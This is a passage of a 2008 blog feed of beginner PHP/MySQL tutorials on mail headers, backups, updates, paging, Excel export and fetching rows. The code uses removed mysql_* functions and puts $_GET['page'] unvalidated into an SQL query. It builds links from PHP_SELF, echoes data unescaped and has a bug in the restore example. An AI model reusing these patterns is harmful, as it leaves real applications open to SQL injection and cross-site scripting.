$email\r\nReturn-Path: $email\r\n");&lt;br /&gt;&lt;br /&gt;// ... more code here&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;Some web host set the PHP directive magic_quotes_gpc to 'on' which runs addslashes() to every GET, POST, and COOKIE data so we got an extra work to strip the slashes from the input. &lt;br /&gt;&lt;br /&gt;Because the addslashes() function only add slashes before single quote ( ' ), double quote ( " ), backslash ( \ ) and NULL, we only need to worry about the $subject and $message. This is because (usually ) only these two can contain such characters. However, we can't be sure if magic_quotes_gpc is On or Off so we have to check it's value first using the get_magic_quotes_gpc() function&lt;br /&gt;&lt;br /&gt;After finishing all that boring job of validating the input we finally come to the last, and the most important step, sending the message using the mail() function.&lt;br /&gt;&lt;br /&gt;The first parameter we pass to the mail() function is the receiver's email address. The second is the email subject. The third is the message itself and the fourth is an additional headers.&lt;br /&gt;&lt;br /&gt;I'm sure you already understand the purpose of the first three parameters so I'll just discuss about the fourth one, the additional parameter ( additional headers ) &lt;br /&gt;&lt;br /&gt;"From: $email\r\nReply-To: $email\r\nReturn-Path: $email\r\n"&lt;br /&gt;&lt;br /&gt;Each headers are separated by the "\r\n" ( newline ) characters. The first two ( From and Reply-To ) is self explanatory. But what about the third one ( Return-Path )?&lt;br /&gt;&lt;br /&gt;The reason is some spam filter will check the Return-Path header and compare it with the From header. If these two don't match then the email is considered as spam and you're email won't get delivered ( or sent to the spam folder ). So it's better to play safe and put Return-Path header when we want to send an email to make sure it gets delivered.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-1542155681672135296?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/1542155681672135296/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=1542155681672135296&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1542155681672135296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1542155681672135296'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/form-validation-with-php.html' title='Form Validation With PHP'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-2978882737884826063</id><published>2008-03-22T00:47:00.002-07:00</published><updated>2008-03-22T00:48:31.478-07:00</updated><title type='text'>Using PHP To Backup MySQL Database</title><content type='html'>There are at least three ways to backup your MySQL Database : &lt;br /&gt;&lt;br /&gt;Execute a database backup query from PHP file.&lt;br /&gt;Run mysqldump using system() function.&lt;br /&gt;Use phpMyAdmin to do the backup.&lt;br /&gt; &lt;br /&gt;Execute a database backup query from PHP file&lt;br /&gt;&lt;br /&gt;Below is an example of using SELECT INTO OUTFILE query for creating table backup : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$tableName  = 'mypet';&lt;br /&gt;$backupFile = 'backup/mypet.sql';&lt;br /&gt;$query      = "SELECT * INTO OUTFILE '$backupFile' FROM $tableName";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;To restore the backup you just need to run LOAD DATA INFILE query like this : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$tableName  = 'mypet';&lt;br /&gt;$backupFile = 'mypet.sql';&lt;br /&gt;$query      = "LOAD DATA INFILE 'backupFile' INTO TABLE $tableName";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;It's a good idea to name the backup file as tablename.sql so you'll know from which table the backup file is&lt;br /&gt;&lt;br /&gt;Run mysqldump using system() function&lt;br /&gt;&lt;br /&gt;The system() function is used to execute an external program. Because MySQL already have built in tool for creating MySQL database backup (mysqldump) let's use it from our PHP script&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$backupFile = $dbname . date("Y-m-d-H-i-s") . '.gz';&lt;br /&gt;$command = "mysqldump --opt -h $dbhost -u $dbuser -p $dbpass $dbname | gzip &gt; $backupFile";&lt;br /&gt;system($command);&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;Use phpMyAdmin to do the backup&lt;br /&gt;&lt;br /&gt;This option as you may guessed doesn't involve any programming on your part. However I think i mention it anyway so you know more options to backup your database.&lt;br /&gt;&lt;br /&gt;To backup your MySQL database using phpMyAdmin click on the "export" link on phpMyAdmin main page. Choose the database you wish to backup, check the appropriate SQL options and enter the name for the backup file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-2978882737884826063?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/2978882737884826063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=2978882737884826063&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/2978882737884826063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/2978882737884826063'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/using-php-to-backup-mysql-database.html' title='Using PHP To Backup MySQL Database'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-1579186571758341608</id><published>2008-03-22T00:47:00.001-07:00</published><updated>2008-03-22T00:47:44.951-07:00</updated><title type='text'>MySQL Update and Delete</title><content type='html'>There are no special ways in PHP to perform update and delete on MySQL database. You still use mysql_query() to execute the UPDATE or DELETE statement.&lt;br /&gt;&lt;br /&gt;For instance to update a password in mysql table for username phpcake can be done by executing an UPDATE statement with mysql_query() like this:&lt;br /&gt;&lt;br /&gt;Example : update.php&lt;br /&gt;Source code : update.phps &lt;br /&gt;&lt;?php&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php'; &lt;br /&gt;&lt;br /&gt;mysql_select_db('mysql')&lt;br /&gt;or die('Error, cannot select mysql database');&lt;br /&gt;&lt;br /&gt;$query = "UPDATE user SET password = PASSWORD('newpass')". "WHERE user = 'phpcake'";&lt;br /&gt;&lt;br /&gt;mysql_query($query) or die('Error, query failed');&lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;There is one important thing that you should be aware of when updating and deleting rows from database. That is data integrity. &lt;br /&gt;&lt;br /&gt;If you're using InnoDB tables you can leave the work of maintaining data integrity to MySQL . However when you're using other kind of tables you need to enforce the data integrity manually.&lt;br /&gt;&lt;br /&gt;To make sure that your update and delete queries will not break the data integrity. You have to make appropriate update and delete queries for all tables referencing to the table you update or delete.&lt;br /&gt;&lt;br /&gt;For example, suppose you have two tables, Class and Student. The Student table have a foreign key column, cid which references to the class_id column in table Class. When you want to update a class_id in Class table you will also need to update the cid column in Student table to maintain data integrity.&lt;br /&gt;&lt;br /&gt;Suppose i want to change the class_id of Karate from 3 to 10. Since there is a row in Student table with cid value of 3, I have to update that row too.&lt;br /&gt;&lt;br /&gt;$query = "UPDATE Class SET class_id = 10 WHERE class_id = 3";&lt;br /&gt;mysql_query($query); &lt;br /&gt;&lt;br /&gt;$query = "UPDATE Student SET cid = 10 WHERE cid = 3";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;Below are the data in Table and Student class before an update query : Table Class&lt;br /&gt;class_id class_name&lt;br /&gt;1 &lt;br /&gt;Silat&lt;br /&gt;2 Kungfu&lt;br /&gt;3 Karate&lt;br /&gt;4 Taekwondo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Table Student&lt;br /&gt;student_id student_name cid&lt;br /&gt;1 Uzumaki Naruto 1&lt;br /&gt;2 Uchiha Sasuke 3&lt;br /&gt;3 Haruno Sakura 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now the content of Table and Student class after the update query are : Table Class&lt;br /&gt;class_id class_name&lt;br /&gt;1 &lt;br /&gt;Silat&lt;br /&gt;2 Kungfu&lt;br /&gt;10 Karate&lt;br /&gt;4 Taekwondo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Table Student&lt;br /&gt;student_id student_name cid&lt;br /&gt;1 Uzumaki Naruto 1&lt;br /&gt;2 Uchiha Sasuke 10&lt;br /&gt;3 Haruno Sakura 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can go as far as creating your own functions in PHP to ensure the data integrity. I have done this before and I hope you don't do it. Save yourself the headache and just write appropriate queries to maintain your data integrity whenever you update / delete rows from a table. &lt;br /&gt;&lt;br /&gt;This means that whenever you make a query to update / delete always consult your database design to see if you need to update / delete another table to maintain data integrity. Your code will be more portable like this.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Using LOCK TABLES&lt;br /&gt;&lt;br /&gt;When your web application is used by more than one user using LOCK TABLES before any update / delete query is a safe bet. This will make sure that only one user change the table at a time.&lt;br /&gt;&lt;br /&gt;Using the above update code examples again, suppose there are two users. The first one want to update one row in Class table and the second want to delete it&lt;br /&gt;&lt;br /&gt;$query = "LOCK TABLES Class WRITE, Student WRITE";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;$query = "DELETE FROM Class WHERE class_id = 3";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;$query = "DELETE FROM Student WHERE class_id = 3";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;$query = "UNLOCK TABLES";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;The update queries above can be rewritten as :&lt;br /&gt;&lt;br /&gt;$query = "LOCK TABLES Class WRITE, Student WRITE";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;$query = "UPDATE Class SET class_id = 10 WHERE class_id = 3";&lt;br /&gt;mysql_query($query); &lt;br /&gt;&lt;br /&gt;$query = "UPDATE Student SET cid = 10 WHERE cid = 3";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;$query = "UNLOCK TABLES";&lt;br /&gt;mysql_query($query);&lt;br /&gt;&lt;br /&gt;By issuing the LOCK TABLES all other users are blocked from reading and writing to the tables. So you're update / delete query will continue to completion without any worries that the intended table already changed by another user&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-1579186571758341608?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/1579186571758341608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=1579186571758341608&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1579186571758341608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1579186571758341608'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/mysql-update-and-delete_22.html' title='MySQL Update and Delete'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-7941249530790111957</id><published>2008-03-22T00:45:00.000-07:00</published><updated>2008-03-22T00:46:57.071-07:00</updated><title type='text'>Using Paging</title><content type='html'>Ever use a Search Engine? I'm sure you have, lots of time. When Search Engines found thousands of results for a keyword do they spit out all the result in one page? Nope, they use paging to show the result little by little.&lt;br /&gt;&lt;br /&gt;Paging means showing your query result in multiple pages instead of just put them all in one long page. Imagine waiting for five minutes just to load a search page that shows 1000 result. By splitting the result in multiple pages you can save download time plus you don't have much scrolling to do.&lt;br /&gt;&lt;br /&gt;To show the result of a query in several pages first you need to know how many rows you have and how many rows per page you want to show. For example if I have 295 rows and I show 30 rows per page that mean I'll have ten pages (rounded up).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;For the example I created a table named randoms that store 295 random numbers. Each page shows 20 numbers. &lt;br /&gt;&lt;br /&gt;Example: paging.php &lt;br /&gt;Source code :paging.phps &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;// how many rows to show per page&lt;br /&gt;$rowsPerPage = 20;&lt;br /&gt;&lt;br /&gt;// by default we show first page&lt;br /&gt;$pageNum = 1;&lt;br /&gt;&lt;br /&gt;// if $_GET['page'] defined, use it as page number&lt;br /&gt;if(isset($_GET['page']))&lt;br /&gt;{&lt;br /&gt;    $pageNum = $_GET['page'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// counting the offset&lt;br /&gt;$offset = ($pageNum - 1) * $rowsPerPage;&lt;br /&gt;&lt;br /&gt;$query = " SELECT val FROM randoms " .&lt;br /&gt;         " LIMIT $offset, $rowsPerPage";&lt;br /&gt;$result = mysql_query($query) or die('Error, query failed');&lt;br /&gt;&lt;br /&gt;// print the random numbers&lt;br /&gt;while($row = mysql_fetch_array($result))&lt;br /&gt;{&lt;br /&gt;   echo $row['val'] . '&lt;br&gt;';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// ... more code here&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Paging is implemented in MySQL using LIMIT that take two arguments. The first argument specifies the offset of the first row to return, the second specifies the maximum number of rows to return. The offset of the first row is 0 ( not 1 ).&lt;br /&gt;&lt;br /&gt;When paging.php is called for the first time the value of $_GET['page'] is not set. This caused $pageNum value to remain 1 and the query is : &lt;br /&gt;&lt;br /&gt;SELECT val FROM randoms LIMIT 0, 20&lt;br /&gt;&lt;br /&gt;which returns the first 20 values from the table. But when paging.php is called like this http://www.php-mysql-tutorial.com/examples/paging/paging.php?page=4&lt;br /&gt;the value of $pageNum becomes 4 and the query will be : &lt;br /&gt;&lt;br /&gt;SELECT val FROM randoms LIMIT 60, 20&lt;br /&gt;&lt;br /&gt;this query returns rows 60 to 79.&lt;br /&gt;&lt;br /&gt;After showing the values we need to print the links to show any pages we like. But first we have to count the number of pages. This is achieved by dividing the number of total rows by the number of rows to show per page :&lt;br /&gt;&lt;br /&gt;$maxPage = ceil($numrows/$rowsPerPage);&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// ... the previous code&lt;br /&gt;&lt;br /&gt;// how many rows we have in database&lt;br /&gt;$query   = "SELECT COUNT(val) AS numrows FROM randoms";&lt;br /&gt;$result  = mysql_query($query) or die('Error, query failed');&lt;br /&gt;$row     = mysql_fetch_array($result, MYSQL_ASSOC);&lt;br /&gt;$numrows = $row['numrows'];&lt;br /&gt;&lt;br /&gt;// how many pages we have when using paging?&lt;br /&gt;$maxPage = ceil($numrows/$rowsPerPage);&lt;br /&gt;&lt;br /&gt;// print the link to access each page&lt;br /&gt;$self = $_SERVER['PHP_SELF'];&lt;br /&gt;$nav  = '';&lt;br /&gt;&lt;br /&gt;for($page = 1; $page &lt;= $maxPage; $page++)&lt;br /&gt;{&lt;br /&gt;   if ($page == $pageNum)&lt;br /&gt;   {&lt;br /&gt;      $nav .= " $page "; // no need to create a link to current page&lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;      $nav .= " &lt;a href=\"$self?page=$page\"&gt;$page&lt;/a&gt; ";&lt;br /&gt;   } &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// ... still more code coming&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;The mathematical function ceil() is used to round up the value of $numrows/$rowsPerPage.&lt;br /&gt;&lt;br /&gt;In this case the value of total rows $numrows is 295 and $rowsPerPage is 20 so the result of the division is 14.75 and by using ceil() we get $maxPage = 15 &lt;br /&gt;&lt;br /&gt;Now that we know how many pages we have we make a loop to print the link. Each link will look something like this:&lt;br /&gt;&lt;br /&gt;&lt;a href="paging.php?page=5"&gt;5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You see that we use $_SERVER['PHP_SELF'] instead of paging.php when creating the link to point to the paging file. This is done to avoid the trouble of modifying the code in case we want to change the filename.&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;We are almost complete. Just need to add a little code to create a 'Previous' and 'Next' link. With these links we can navigate to the previous and next page easily. And while we at it let's also create a 'First page' and 'Last page' link so we can jump straight to the first and last page when we want to.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// ... the previous code&lt;br /&gt;&lt;br /&gt;// creating previous and next link&lt;br /&gt;// plus the link to go straight to&lt;br /&gt;// the first and last page&lt;br /&gt;&lt;br /&gt;if ($pageNum &gt; 1)&lt;br /&gt;{&lt;br /&gt;   $page  = $pageNum - 1;&lt;br /&gt;   $prev  = " &lt;a href=\"$self?page=$page\"&gt;[Prev]&lt;/a&gt; ";&lt;br /&gt;&lt;br /&gt;   $first = " &lt;a href=\"$self?page=1\"&gt;[First Page]&lt;/a&gt; ";&lt;br /&gt;} &lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;   $prev  = '&amp;nbsp;'; // we're on page one, don't print previous link&lt;br /&gt;   $first = '&amp;nbsp;'; // nor the first page link&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if ($pageNum &lt; $maxPage)&lt;br /&gt;{&lt;br /&gt;   $page = $pageNum + 1;&lt;br /&gt;   $next = " &lt;a href=\"$self?page=$page\"&gt;[Next]&lt;/a&gt; ";&lt;br /&gt;&lt;br /&gt;   $last = " &lt;a href=\"$self?page=$maxPage\"&gt;[Last Page]&lt;/a&gt; ";&lt;br /&gt;} &lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;   $next = '&amp;nbsp;'; // we're on the last page, don't print next link&lt;br /&gt;   $last = '&amp;nbsp;'; // nor the last page link&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// print the navigation link&lt;br /&gt;echo $first . $prev . $nav . $next . $last;&lt;br /&gt;&lt;br /&gt;// and close the database connection&lt;br /&gt;include '../library/closedb.php';&lt;br /&gt;&lt;br /&gt;// ... and we're done!&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Making these navigation link is actually easier than you may think. When we're on the fifth page we just make the 'Previous' link point to the fourth. The same principle also apply for the 'Next' link, we just need to add one to the page number.&lt;br /&gt;&lt;br /&gt;One thing to remember is that we don't need to print the 'Previous' and 'First Page' link when we're already on the first page. Same thing for the 'Next' and 'Last' link. If we do print them that would only confuse the one who click on it. Because we'll be giving them the exact same page.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;We got a problem here...&lt;br /&gt;&lt;br /&gt;Take a look at this slightly modified version of paging.php. Instead of showing 20 numbers in a page, I decided to show just three.&lt;br /&gt;&lt;br /&gt;See the problem already?&lt;br /&gt;&lt;br /&gt;Those page numbers are running across the screen! Yuck!&lt;br /&gt;&lt;br /&gt;This call for a little modification to the code. Instead of printing the link to each and every page we will just saying something like "Viewing page 4 of 99 pages". &lt;br /&gt;&lt;br /&gt;Than means we havel remove these code :&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// ... the previous code&lt;br /&gt;&lt;br /&gt;$nav  = '';&lt;br /&gt;&lt;br /&gt;for($page = 1; $page &lt;= $maxPage; $page++)&lt;br /&gt;{&lt;br /&gt;   if ($page == $pageNum)&lt;br /&gt;   {&lt;br /&gt;      $nav .= " $page "; // no need to create a link to current page&lt;br /&gt;   }&lt;br /&gt;   else&lt;br /&gt;   {&lt;br /&gt;      $nav .= " &lt;a href=\"$self?page=$page\"&gt;$page&lt;/a&gt; ";&lt;br /&gt;   } &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// ... the rest here&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;And then modify this one&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// ... &lt;br /&gt;&lt;br /&gt;// print the navigation link&lt;br /&gt;echo $first . $prev . $nav . $next . $last;&lt;br /&gt;&lt;br /&gt;// ... &lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Into this &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;// ... &lt;br /&gt;&lt;br /&gt;// print the navigation link&lt;br /&gt;echo $first . $prev . &lt;br /&gt;" Showing page $pageNum of $maxPage pages " . $next . $last;&lt;br /&gt;&lt;br /&gt;// ... &lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-7941249530790111957?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/7941249530790111957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=7941249530790111957&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7941249530790111957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7941249530790111957'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/using-paging.html' title='Using Paging'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-3440043741194755202</id><published>2008-03-22T00:44:00.000-07:00</published><updated>2008-03-22T00:45:36.624-07:00</updated><title type='text'>Convert MySQL Query Result To Excel</title><content type='html'>Using PHP to convert MySQL query result to Excel format is also common especially in web based finance applications. The finance data stored in database are downloaded as Excel file for easy viewing. There is no special functions in PHP to do the job. But you can do it easily by formatting the query result as tab separated values or put the value in an HTML table. After that set the content type to application/vnd.ms-excel&lt;br /&gt;&lt;br /&gt;Example : convert.php&lt;br /&gt;Source : convert.php, students.txt&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;$query  = "SELECT fname, lname FROM students";&lt;br /&gt;$result = mysql_query($query) or die('Error, query failed');&lt;br /&gt;&lt;br /&gt;$tsv  = array();&lt;br /&gt;$html = array();&lt;br /&gt;while($row = mysql_fetch_array($result, MYSQL_NUM))&lt;br /&gt;{&lt;br /&gt;   $tsv[]  = implode("\t", $row);&lt;br /&gt;   $html[] = "&lt;tr&gt;&lt;td&gt;" .implode("&lt;/td&gt;&lt;td&gt;", $row) .              "&lt;/td&gt;&lt;/tr&gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$tsv = implode("\r\n", $tsv);&lt;br /&gt;$html = "&lt;table&gt;" . implode("\r\n", $html) . "&lt;/table&gt;";&lt;br /&gt;&lt;br /&gt;$fileName = 'mysql-to-excel.xls';&lt;br /&gt;header("Content-type: application/vnd.ms-excel"); &lt;br /&gt;header("Content-Disposition: attachment; filename=$fileName");&lt;br /&gt;&lt;br /&gt;echo $tsv;&lt;br /&gt;//echo $html;&lt;br /&gt;&lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;In the above example $tsv is a string containing tab separated values and $html contain an HTML table. I use implode() to join the values of $row with tab to create a tab separated string. &lt;br /&gt;&lt;br /&gt;After the while loop implode() is used once again to join the rows using newline characters. The headers are set and the value of $tsv is then printed. This will force the browser to save the file as mysql-to-excel.xsl&lt;br /&gt;&lt;br /&gt;Try running the script in your own computer then try commenting echo $tsv and uncomment echo $html to see the difference.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-3440043741194755202?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/3440043741194755202/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=3440043741194755202&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3440043741194755202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3440043741194755202'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/convert-mysql-query-result-to-excel.html' title='Convert MySQL Query Result To Excel'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-265818740525594265</id><published>2008-03-22T00:43:00.000-07:00</published><updated>2008-03-22T00:44:48.063-07:00</updated><title type='text'>Get Data From MySQL Database</title><content type='html'>Using PHP you can run a MySQL SELECT query to fetch the data out of the database. You have several options in fetching information from MySQL. PHP provide several functions for this. The first one is mysql_fetch_array()which fetch a result row as an associative array, a numeric array, or both. &lt;br /&gt;&lt;br /&gt;Below is an example of fetching data from MySQL, the table contact have three columns, name, subject and message. &lt;br /&gt;&lt;br /&gt;Example : select.php&lt;br /&gt;Source code : select.phps, contact.txt&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$query  = "SELECT name, subject, message FROM contact";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;while($row = mysql_fetch_array($result, MYSQL_ASSOC))&lt;br /&gt;{&lt;br /&gt;    echo "Name :{$row['name']} &lt;br&gt;" .&lt;br /&gt;         "Subject : {$row['subject']} &lt;br&gt;" . &lt;br /&gt;         "Message : {$row['message']} &lt;br&gt;&lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;The while() loop will keep fetching new rows until mysql_fetch_array() returns FALSE, which means there are no more rows to fetch. The content of the rows are assigned to the variable $row and the values in row are then printed. Always remember to put curly brackets when you want to insert an array value directly into a string.&lt;br /&gt;&lt;br /&gt;In above example I use the constant MYSQL_ASSOC as the second argument to mysql_fetch_array(), so that it returns the row as an associative array. With an associative array you can access the field by using their name instead of using the index . Personally I think it's more informative to use $row['subject'] instead of $row[1].&lt;br /&gt;&lt;br /&gt;PHP also provide a function called mysql_fetch_assoc() which also return the row as an associative array. &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br /&gt;&lt;br /&gt;$query  = "SELECT name, subject, message FROM contact";&lt;br /&gt;$result = mysql_query($query);&lt;br /&gt;&lt;br /&gt;while($row = mysql_fetch_assoc($result))&lt;br /&gt;{&lt;br /&gt;    echo "Name :{$row['name']} &lt;br&gt;" .&lt;br /&gt;         "Subject : {$row['subject']} &lt;br&gt;" . &lt;br /&gt;         "Message : {$row['message']} &lt;br&gt;&lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;include 'closedb.php';&lt;br /&gt;?&gt; &lt;br /&gt;&lt;br /&gt;You can also use the constant MYSQL_NUM, as the second argument to mysql_fetch_array(). This will cause the function to return an array with numeric index.&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'config.php';&lt;br /&gt;include 'opendb.php';&lt;br 